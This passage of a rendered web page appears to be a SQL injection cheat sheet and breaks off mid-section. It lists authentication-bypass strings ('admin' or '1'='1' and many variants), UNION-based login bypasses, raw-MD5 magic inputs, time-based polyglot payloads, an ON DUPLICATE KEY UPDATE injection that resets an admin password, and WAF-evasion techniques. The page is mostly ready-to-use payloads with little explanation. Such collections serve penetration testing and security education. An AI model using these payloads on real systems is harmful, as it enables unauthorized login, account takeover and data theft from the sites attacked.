<a id="__codelineno-17-33" name="__codelineno-17-33" href="#__codelineno-17-33"></a><span class="s1">&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;x&#39;</span><span class="o">=</span><span class="s1">&#39;x</span>
<a id="__codelineno-17-34" name="__codelineno-17-34" href="#__codelineno-17-34"></a><span class="s1">&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="p">(</span><span class="s1">&#39;x&#39;</span><span class="p">)</span><span class="o">=</span><span class="p">(</span><span class="s1">&#39;x</span>
<a id="__codelineno-17-35" name="__codelineno-17-35" href="#__codelineno-17-35"></a><span class="s1">&#39;</span><span class="p">))</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="p">((</span><span class="s1">&#39;x&#39;</span><span class="p">))</span><span class="o">=</span><span class="p">((</span><span class="s1">&#39;x</span>
<a id="__codelineno-17-36" name="__codelineno-17-36" href="#__codelineno-17-36"></a><span class="s1">&quot; or &quot;x&quot;=&quot;x</span>
<a id="__codelineno-17-37" name="__codelineno-17-37" href="#__codelineno-17-37"></a><span class="s1">&quot;) or (&quot;x&quot;)=(&quot;x</span>
<a id="__codelineno-17-38" name="__codelineno-17-38" href="#__codelineno-17-38"></a><span class="s1">&quot;)) or ((&quot;x&quot;))=((&quot;x</span>
<a id="__codelineno-17-39" name="__codelineno-17-39" href="#__codelineno-17-39"></a><span class="s1">or 2 like 2</span>
<a id="__codelineno-17-40" name="__codelineno-17-40" href="#__codelineno-17-40"></a><span class="s1">or 1=1</span>
<a id="__codelineno-17-41" name="__codelineno-17-41" href="#__codelineno-17-41"></a><span class="s1">or 1=1--</span>
<a id="__codelineno-17-42" name="__codelineno-17-42" href="#__codelineno-17-42"></a><span class="s1">or 1=1#</span>
<a id="__codelineno-17-43" name="__codelineno-17-43" href="#__codelineno-17-43"></a><span class="s1">or 1=1/*</span>
<a id="__codelineno-17-44" name="__codelineno-17-44" href="#__codelineno-17-44"></a><span class="s1">admin&#39;</span><span class="w"> </span><span class="c1">--</span>
<a id="__codelineno-17-45" name="__codelineno-17-45" href="#__codelineno-17-45"></a><span class="k">admin</span><span class="s1">&#39; -- -</span>
<a id="__codelineno-17-46" name="__codelineno-17-46" href="#__codelineno-17-46"></a><span class="s1">admin&#39;</span><span class="w"> </span><span class="o">#</span>
<a id="__codelineno-17-47" name="__codelineno-17-47" href="#__codelineno-17-47"></a><span class="k">admin</span><span class="s1">&#39;/*</span>
<a id="__codelineno-17-48" name="__codelineno-17-48" href="#__codelineno-17-48"></a><span class="s1">admin&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;2&#39;</span><span class="w"> </span><span class="k">LIKE</span><span class="w"> </span><span class="s1">&#39;1</span>
<a id="__codelineno-17-49" name="__codelineno-17-49" href="#__codelineno-17-49"></a><span class="s1">admin&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="k">LIKE</span><span class="w"> </span><span class="mi">2</span><span class="c1">--</span>
<a id="__codelineno-17-50" name="__codelineno-17-50" href="#__codelineno-17-50"></a><span class="k">admin</span><span class="s1">&#39; or 2 LIKE 2#</span>
<a id="__codelineno-17-51" name="__codelineno-17-51" href="#__codelineno-17-51"></a><span class="s1">admin&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="k">LIKE</span><span class="w"> </span><span class="mi">2</span><span class="o">#</span>
<a id="__codelineno-17-52" name="__codelineno-17-52" href="#__codelineno-17-52"></a><span class="k">admin</span><span class="s1">&#39;) or 2 LIKE 2--</span>
<a id="__codelineno-17-53" name="__codelineno-17-53" href="#__codelineno-17-53"></a><span class="s1">admin&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="p">(</span><span class="s1">&#39;2&#39;</span><span class="w"> </span><span class="k">LIKE</span><span class="w"> </span><span class="s1">&#39;2</span>
<a id="__codelineno-17-54" name="__codelineno-17-54" href="#__codelineno-17-54"></a><span class="s1">admin&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="p">(</span><span class="s1">&#39;2&#39;</span><span class="w"> </span><span class="k">LIKE</span><span class="w"> </span><span class="s1">&#39;2&#39;</span><span class="o">#</span>
<a id="__codelineno-17-55" name="__codelineno-17-55" href="#__codelineno-17-55"></a><span class="k">admin</span><span class="s1">&#39;) or (&#39;</span><span class="mi">2</span><span class="s1">&#39; LIKE &#39;</span><span class="mi">2</span><span class="s1">&#39;/*</span>
<a id="__codelineno-17-56" name="__codelineno-17-56" href="#__codelineno-17-56"></a><span class="s1">admin&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;1&#39;</span><span class="o">=</span><span class="s1">&#39;1</span>
<a id="__codelineno-17-57" name="__codelineno-17-57" href="#__codelineno-17-57"></a><span class="s1">admin&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;1&#39;</span><span class="o">=</span><span class="s1">&#39;1&#39;</span><span class="c1">--</span>
<a id="__codelineno-17-58" name="__codelineno-17-58" href="#__codelineno-17-58"></a><span class="k">admin</span><span class="s1">&#39; or &#39;</span><span class="mi">1</span><span class="s1">&#39;=&#39;</span><span class="mi">1</span><span class="s1">&#39;#</span>
<a id="__codelineno-17-59" name="__codelineno-17-59" href="#__codelineno-17-59"></a><span class="s1">admin&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;1&#39;</span><span class="o">=</span><span class="s1">&#39;1&#39;</span><span class="cm">/*</span>
<a id="__codelineno-17-60" name="__codelineno-17-60" href="#__codelineno-17-60"></a><span class="cm">admin&#39;or 1=1 or &#39;&#39;=&#39;</span>
<a id="__codelineno-17-61" name="__codelineno-17-61" href="#__codelineno-17-61"></a><span class="cm">admin&#39; or 1=1</span>
<a id="__codelineno-17-62" name="__codelineno-17-62" href="#__codelineno-17-62"></a><span class="cm">admin&#39; or 1=1--</span>
<a id="__codelineno-17-63" name="__codelineno-17-63" href="#__codelineno-17-63"></a><span class="cm">admin&#39; or 1=1#</span>
<a id="__codelineno-17-64" name="__codelineno-17-64" href="#__codelineno-17-64"></a><span class="cm">admin&#39; or 1=1/*</span>
<a id="__codelineno-17-65" name="__codelineno-17-65" href="#__codelineno-17-65"></a><span class="cm">admin&#39;) or (&#39;1&#39;=&#39;1</span>
<a id="__codelineno-17-66" name="__codelineno-17-66" href="#__codelineno-17-66"></a><span class="cm">admin&#39;) or (&#39;1&#39;=&#39;1&#39;--</span>
<a id="__codelineno-17-67" name="__codelineno-17-67" href="#__codelineno-17-67"></a><span class="cm">admin&#39;) or (&#39;1&#39;=&#39;1&#39;#</span>
<a id="__codelineno-17-68" name="__codelineno-17-68" href="#__codelineno-17-68"></a><span class="cm">admin&#39;) or (&#39;1&#39;=&#39;1&#39;/*</span>
<a id="__codelineno-17-69" name="__codelineno-17-69" href="#__codelineno-17-69"></a><span class="cm">admin&#39;) or &#39;1&#39;=&#39;1</span>
<a id="__codelineno-17-70" name="__codelineno-17-70" href="#__codelineno-17-70"></a><span class="cm">admin&#39;) or &#39;1&#39;=&#39;1&#39;--</span>
<a id="__codelineno-17-71" name="__codelineno-17-71" href="#__codelineno-17-71"></a><span class="cm">admin&#39;) or &#39;1&#39;=&#39;1&#39;#</span>
<a id="__codelineno-17-72" name="__codelineno-17-72" href="#__codelineno-17-72"></a><span class="cm">admin&#39;) or &#39;1&#39;=&#39;1&#39;/*</span>
<a id="__codelineno-17-73" name="__codelineno-17-73" href="#__codelineno-17-73"></a><span class="cm">1234 &#39; AND 1=0 UNION ALL SELECT &#39;admin&#39;, &#39;81dc9bdb52d04dc20036dbd8313ed055</span>
<a id="__codelineno-17-74" name="__codelineno-17-74" href="#__codelineno-17-74"></a><span class="cm">admin&quot; --</span>
<a id="__codelineno-17-75" name="__codelineno-17-75" href="#__codelineno-17-75"></a><span class="cm">admin&#39;;-- azer </span>
<a id="__codelineno-17-76" name="__codelineno-17-76" href="#__codelineno-17-76"></a><span class="cm">admin&quot; #</span>
<a id="__codelineno-17-77" name="__codelineno-17-77" href="#__codelineno-17-77"></a><span class="cm">admin&quot;/*</span>
<a id="__codelineno-17-78" name="__codelineno-17-78" href="#__codelineno-17-78"></a><span class="cm">admin&quot; or &quot;1&quot;=&quot;1</span>
<a id="__codelineno-17-79" name="__codelineno-17-79" href="#__codelineno-17-79"></a><span class="cm">admin&quot; or &quot;1&quot;=&quot;1&quot;--</span>
<a id="__codelineno-17-80" name="__codelineno-17-80" href="#__codelineno-17-80"></a><span class="cm">admin&quot; or &quot;1&quot;=&quot;1&quot;#</span>
<a id="__codelineno-17-81" name="__codelineno-17-81" href="#__codelineno-17-81"></a><span class="cm">admin&quot; or &quot;1&quot;=&quot;1&quot;/*</span>
<a id="__codelineno-17-82" name="__codelineno-17-82" href="#__codelineno-17-82"></a><span class="cm">admin&quot;or 1=1 or &quot;&quot;=&quot;</span>
<a id="__codelineno-17-83" name="__codelineno-17-83" href="#__codelineno-17-83"></a><span class="cm">admin&quot; or 1=1</span>
<a id="__codelineno-17-84" name="__codelineno-17-84" href="#__codelineno-17-84"></a><span class="cm">admin&quot; or 1=1--</span>
<a id="__codelineno-17-85" name="__codelineno-17-85" href="#__codelineno-17-85"></a><span class="cm">admin&quot; or 1=1#</span>
<a id="__codelineno-17-86" name="__codelineno-17-86" href="#__codelineno-17-86"></a><span class="cm">admin&quot; or 1=1/*</span>
<a id="__codelineno-17-87" name="__codelineno-17-87" href="#__codelineno-17-87"></a><span class="cm">admin&quot;) or (&quot;1&quot;=&quot;1</span>
<a id="__codelineno-17-88" name="__codelineno-17-88" href="#__codelineno-17-88"></a><span class="cm">admin&quot;) or (&quot;1&quot;=&quot;1&quot;--</span>
<a id="__codelineno-17-89" name="__codelineno-17-89" href="#__codelineno-17-89"></a><span class="cm">admin&quot;) or (&quot;1&quot;=&quot;1&quot;#</span>
<a id="__codelineno-17-90" name="__codelineno-17-90" href="#__codelineno-17-90"></a><span class="cm">admin&quot;) or (&quot;1&quot;=&quot;1&quot;/*</span>
<a id="__codelineno-17-91" name="__codelineno-17-91" href="#__codelineno-17-91"></a><span class="cm">admin&quot;) or &quot;1&quot;=&quot;1</span>
<a id="__codelineno-17-92" name="__codelineno-17-92" href="#__codelineno-17-92"></a><span class="cm">admin&quot;) or &quot;1&quot;=&quot;1&quot;--</span>
<a id="__codelineno-17-93" name="__codelineno-17-93" href="#__codelineno-17-93"></a><span class="cm">admin&quot;) or &quot;1&quot;=&quot;1&quot;#</span>
<a id="__codelineno-17-94" name="__codelineno-17-94" href="#__codelineno-17-94"></a><span class="cm">admin&quot;) or &quot;1&quot;=&quot;1&quot;/*</span>
<a id="__codelineno-17-95" name="__codelineno-17-95" href="#__codelineno-17-95"></a><span class="cm">1234 &quot; AND 1=0 UNION ALL SELECT &quot;admin&quot;, &quot;81dc9bdb52d04dc20036dbd8313ed055</span>
</code></pre></div>
<h2 id="authentication-bypass-raw-md5-sha1">Authentication Bypass (Raw MD5 SHA1)</h2>
<p>When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="x">&quot;SELECT * FROM admin WHERE pass = &#39;&quot;.md5($password,true).&quot;&#39;&quot;</span>
</code></pre></div>
<p>Allowing an attacker to craft a string with a <code>true</code> statement such as <code>' or 'SOMETHING</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="x">md5(&quot;ffifdyop&quot;, true) = &#39;or&#39;6<EFBFBD>]<5D><>!r,<2C><>b</span>
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="x">sha1(&quot;3fDf &quot;, true) = Q<>u&#39;=&#39;<EFBFBD>@<40>[<5B>t<EFBFBD>- o<><6F>_-!</span>
</code></pre></div>
<p>Challenge demo available at <a href="http://web.jarvisoj.com:32772">http://web.jarvisoj.com:32772</a></p>
<h2 id="polyglot-injection-multicontext">Polyglot injection (multicontext)</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="n">SLEEP</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="cm">/*&#39; or SLEEP(1) or &#39;&quot; or SLEEP(1) or &quot;*/</span>
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a>
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a><span class="cm">/* MySQL only */</span>
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a><span class="k">IF</span><span class="p">(</span><span class="n">SUBSTR</span><span class="p">(</span><span class="o">@@</span><span class="k">version</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">&lt;</span><span class="mi">5</span><span class="p">,</span><span class="n">BENCHMARK</span><span class="p">(</span><span class="mi">2000000</span><span class="p">,</span><span class="n">SHA1</span><span class="p">(</span><span class="mi">0</span><span class="n">xDE7EC71F1</span><span class="p">)),</span><span class="n">SLEEP</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span><span class="cm">/*&#39;XOR(IF(SUBSTR(@@version,1,1)&lt;5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR&#39;|&quot;XOR(IF(SUBSTR(@@version,1,1)&lt;5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR&quot;*/</span>
</code></pre></div>
<h2 id="routed-injection">Routed injection</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="k">admin</span><span class="s1">&#39; AND 1=0 UNION ALL SELECT &#39;</span><span class="k">admin</span><span class="s1">&#39;, &#39;</span><span class="mi">81</span><span class="n">dc9bdb52d04dc20036dbd8313ed055</span><span class="err">&#39;</span>
</code></pre></div>
<h2 id="insert-statement-on-duplicate-key-update">Insert Statement - ON DUPLICATE KEY UPDATE</h2>
<p>ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">Inject</span><span class="w"> </span><span class="k">using</span><span class="w"> </span><span class="n">payload</span><span class="p">:</span>
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="w"> </span><span class="n">attacker_dummy</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="ss">&quot;, &quot;</span><span class="n">bcrypt_hash_of_qwerty</span><span class="ss">&quot;), (&quot;</span><span class="k">admin</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="ss">&quot;, &quot;</span><span class="n">bcrypt_hash_of_qwerty</span><span class="ss">&quot;) ON DUPLICATE KEY UPDATE password=&quot;</span><span class="n">bcrypt_hash_of_qwerty</span><span class="ss">&quot; --</span>
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a>
<a id="__codelineno-22-4" name="__codelineno-22-4" href="#__codelineno-22-4"></a><span class="ss">The query would look like this:</span>
<a id="__codelineno-22-5" name="__codelineno-22-5" href="#__codelineno-22-5"></a><span class="ss">INSERT INTO users (email, password) VALUES (&quot;</span><span class="n">attacker_dummy</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="ss">&quot;, &quot;</span><span class="n">bcrypt_hash_of_qwerty</span><span class="ss">&quot;), (&quot;</span><span class="k">admin</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="ss">&quot;, &quot;</span><span class="n">bcrypt_hash_of_qwerty</span><span class="ss">&quot;) ON DUPLICATE KEY UPDATE password=&quot;</span><span class="n">bcrypt_hash_of_qwerty</span><span class="ss">&quot; -- &quot;</span><span class="p">,</span><span class="w"> </span><span class="ss">&quot;bcrypt_hash_of_your_password_input&quot;</span><span class="p">);</span>
<a id="__codelineno-22-6" name="__codelineno-22-6" href="#__codelineno-22-6"></a>
<a id="__codelineno-22-7" name="__codelineno-22-7" href="#__codelineno-22-7"></a><span class="n">This</span><span class="w"> </span><span class="n">query</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="k">insert</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="err"></span><span class="n">attacker_dummy</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="err"></span><span class="p">.</span><span class="w"> </span><span class="n">It</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">also</span><span class="w"> </span><span class="k">insert</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="err"></span><span class="k">admin</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="err"></span><span class="p">.</span>
<a id="__codelineno-22-8" name="__codelineno-22-8" href="#__codelineno-22-8"></a><span class="n">Because</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="n">already</span><span class="w"> </span><span class="k">exists</span><span class="p">,</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">ON</span><span class="w"> </span><span class="n">DUPLICATE</span><span class="w"> </span><span class="k">KEY</span><span class="w"> </span><span class="k">UPDATE</span><span class="w"> </span><span class="n">keyword</span><span class="w"> </span><span class="n">tells</span><span class="w"> </span><span class="n">MySQL</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">update</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="o">`</span><span class="n">password</span><span class="o">`</span><span class="w"> </span><span class="k">column</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">already</span><span class="w"> </span><span class="k">existing</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="ss">&quot;bcrypt_hash_of_qwerty&quot;</span><span class="p">.</span>
<a id="__codelineno-22-9" name="__codelineno-22-9" href="#__codelineno-22-9"></a>
<a id="__codelineno-22-10" name="__codelineno-22-10" href="#__codelineno-22-10"></a><span class="k">After</span><span class="w"> </span><span class="n">this</span><span class="p">,</span><span class="w"> </span><span class="n">we</span><span class="w"> </span><span class="n">can</span><span class="w"> </span><span class="n">simply</span><span class="w"> </span><span class="n">authenticate</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="err"></span><span class="k">admin</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="err"></span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="err"></span><span class="n">qwerty</span><span class="err"></span><span class="o">!</span>
</code></pre></div>
<h2 id="generic-waf-bypass">Generic WAF Bypass</h2>
<h3 id="white-spaces-alternatives">White spaces alternatives</h3>
<ul>
<li>No space allowed (<code>%20</code>) - bypass using whitespace alternatives
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">09</span><span class="k">and</span><span class="o">%</span><span class="mi">091</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">09</span><span class="c1">--</span>
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="n">Dand</span><span class="o">%</span><span class="mi">0</span><span class="n">D1</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="n">D</span><span class="c1">--</span>
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="n">Cand</span><span class="o">%</span><span class="mi">0</span><span class="n">C1</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="k">C</span><span class="c1">--</span>
<a id="__codelineno-23-4" name="__codelineno-23-4" href="#__codelineno-23-4"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="n">Band</span><span class="o">%</span><span class="mi">0</span><span class="n">B1</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="n">B</span><span class="c1">--</span>
<a id="__codelineno-23-5" name="__codelineno-23-5" href="#__codelineno-23-5"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="n">Aand</span><span class="o">%</span><span class="mi">0</span><span class="n">A1</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">0</span><span class="n">A</span><span class="c1">--</span>
<a id="__codelineno-23-6" name="__codelineno-23-6" href="#__codelineno-23-6"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="n">A0and</span><span class="o">%</span><span class="n">A01</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="n">A0</span><span class="c1">--</span>
</code></pre></div></li>
<li>No whitespace - bypass using comments
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="cm">/*comment*/</span><span class="k">and</span><span class="cm">/**/</span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="cm">/**/</span><span class="c1">--</span>
</code></pre></div></li>
<li>No Whitespace - bypass using parenthesis
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="k">and</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">=</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="c1">--</span>
</code></pre></div></li>
<li>Whitespace alternatives by DBMS
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="c1">-- Example of query where spaces were replaced by ascii characters above 0x80</span>
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="err"></span><span class="k">SELECT</span><span class="err">§</span><span class="o">*</span><span class="err"></span><span class="k">FROM</span><span class="err"></span><span class="n">users</span><span class="err"></span><span class="k">WHERE</span><span class="err"></span><span class="mi">1</span><span class="err"></span><span class="o">=</span><span class="err"></span><span class="mi">1</span><span class="err"></span>
</code></pre></div></li>
</ul>
<table>
<thead>
<tr>
<th>DBMS</th>
<th>ASCII characters in hexadicimal</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQLite3</td>
<td>0A, 0D, 0C, 09, 20</td>
</tr>
<tr>
<td>MySQL 5</td>
<td>09, 0A, 0B, 0C, 0D, A0, 20</td>
</tr>
<tr>
<td>MySQL 3</td>
<td>01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0</td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>0A, 0D, 0C, 09, 20</td>
</tr>
<tr>
<td>Oracle 11g</td>
<td>00, 0A, 0D, 0C, 09, 20</td>
</tr>
<tr>
<td>MSSQL</td>
<td>01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20</td>
</tr>
</tbody>
</table>
<h3 id="no-comma-allowed">No Comma Allowed</h3>
<p>Bypass using OFFSET, FROM and JOIN</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="k">LIMIT</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="k">LIMIT</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">OFFSET</span><span class="w"> </span><span class="mi">0</span>
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a><span class="n">SUBSTR</span><span class="p">(</span><span class="s1">&#39;SQL&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">SUBSTR</span><span class="p">(</span><span class="s1">&#39;SQL&#39;</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">FOR</span><span class="w"> </span><span class="mi">1</span><span class="p">).</span>
<a id="__codelineno-27-3" name="__codelineno-27-3" href="#__codelineno-27-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="n">a</span><span class="w"> </span><span class="k">JOIN</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="n">b</span><span class="w"> </span><span class="k">JOIN</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="k">c</span><span class="w"> </span><span class="k">JOIN</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="mi">4</span><span class="p">)</span><span class="n">d</span>
</code></pre></div>
<h3 id="no-equal-allowed">No Equal Allowed</h3>
<p>Bypass using LIKE/NOT IN/IN/BETWEEN</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="k">version</span><span class="p">(),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="k">like</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<a id="__codelineno-28-2" name="__codelineno-28-2" href="#__codelineno-28-2"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="k">version</span><span class="p">(),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="k">not</span><span class="w"> </span><span class="k">in</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
<a id="__codelineno-28-3" name="__codelineno-28-3" href="#__codelineno-28-3"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="k">version</span><span class="p">(),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="k">in</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
<a id="__codelineno-28-4" name="__codelineno-28-4" href="#__codelineno-28-4"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="k">version</span><span class="p">(),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="k">between</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">4</span>
</code></pre></div>
<h3 id="case-modification">Case modification</h3>
<ul>
<li>Bypass using uppercase/lowercase (see keyword AND)
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="o">#</span>
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">AnD</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="o">#</span>
